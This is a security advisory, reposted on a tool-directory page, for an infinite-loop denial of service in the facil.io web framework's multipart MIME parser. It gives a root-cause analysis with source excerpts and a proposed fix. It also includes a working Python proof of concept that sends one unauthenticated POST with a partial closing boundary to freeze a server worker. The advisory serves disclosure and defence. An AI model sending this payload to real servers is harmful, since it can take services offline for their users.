Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser — Security Advisory: Infinite Loop DoS in facil.io MIME Parser (Partial Boundary) | Kitploit
Tools/GitHubGitHub/theopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser
Vulnerability AnalysisCode AnalysisWeb SecurityPapers & ResearchLearning & Education
GitHubtheopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser

CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser

Security Advisory: Infinite Loop DoS in facil.io MIME Parser (Partial Boundary)

View Repository
31 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Security Advisory: Infinite Loop DoS in facil.io MIME Parser (Partial Boundary)

Assigned CVE ID: CVE-2026-66730

Product: facil.io
Affected versions: facil.io >= 0.6.0 (all 0.6.x, all 0.7.x, master); introduced alongside the MIME parser in 0.6.0
Component: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (Loop with Unreachable Exit Condition), CWE-400 (Uncontrolled Resource Consumption)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Researcher: Theodosis Paidakis


Summary

A multipart/form-data request whose body ends with a partial closing boundary (e.g., --B- instead of --B--\r\n) causes http_parse_body() to spin in an infinite loop at 100% CPU. The MIME parser returns 0 bytes consumed when it stalls on a partial boundary, but the calling loop checks only . Neither flag is set, so it re-invokes the parser on the same data forever. The server does not crash, so no worker is respawned. One unauthenticated POST request permanently freezes one worker.

!done && !error

This is unrelated to CVE-2026-41146, which is an infinite loop in the JSON parser (fio_json_parser.h). This bug is in the MIME/multipart parser.


Root cause

Part 1: No progress guard in the caller

lib/facil/http/http.c, lines 1963-1967

root@kitploit:~
// lib/facil/http/http.c:1963-1967
do {
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;                                         // += 0 when parser stalls
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);    // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error);       // neither flag set -> loops forever

If http_mime_parse returns 0 and sets neither done nor error, p.pos stays fixed, fiobj_data_pread returns the same buffer, and the loop has no exit.

Part 2: When http_mime_parse returns 0

lib/facil/http/parsers/http_mime_parser.h, lines 314-329 and the consume_partial branch

The parser scans the value section for a complete boundary. When the body ends with \n--B- (four bytes shorter than a full closing boundary \n--B--\r\n), the scan finds \n followed by what looks like the start of a boundary but cannot confirm it is complete:

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
    end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
         (size_t)(stop - end) >= (4 + parser->boundary_len) &&
         (end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
    // partial boundary -- transition to consume_partial on first call
    parser->in_obj = 1;
    goto consume_partial;
}

On the next call, in_obj is already set. The consume_partial branch finds the same \n before --B-, then backs the return pointer up before any unconsumed data:

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
    end -= 2;
    if (end[0] == '\r') --end;   // end now points before the \n
    pos = end;                    // return pointer set behind any new data
    goto end_of_data;             // returns 0 bytes consumed
}

pos ends up at or before where it started. The function returns 0. Back in the caller, cons = 0, p.pos does not move, and the cycle repeats.


Proof of concept

Start the server, then run:

root@kitploit:~
# poc_mime_infinite_loop.py
import socket, time

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=field\r\n"
    "\r\n"
    "value\r\n"
    "--B-"      # partial closing boundary: missing final '-\r\n'
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    s.recv(4096)
    print("got response - not vulnerable")
except socket.timeout:
    print("hung for 10s - server spinning at 100% CPU")

Observed: server process at 99.7-100% CPU. kill -9 required to recover.


Impact

A frozen worker never exits, so no respawn occurs. With enough requests (equal to the worker count), the server stops serving all clients permanently until manually restarted. No authentication, no special headers, and no prior state are required.


Fix

Add a progress guard to the loop in http_parse_body:

lib/facil/http/http.c, lines 1963-1967

root@kitploit:~
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
    if (p.pos == last_pos) { p.p.error = 1; break; }   // no progress: abort
    last_pos = p.pos;
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);
Download Tool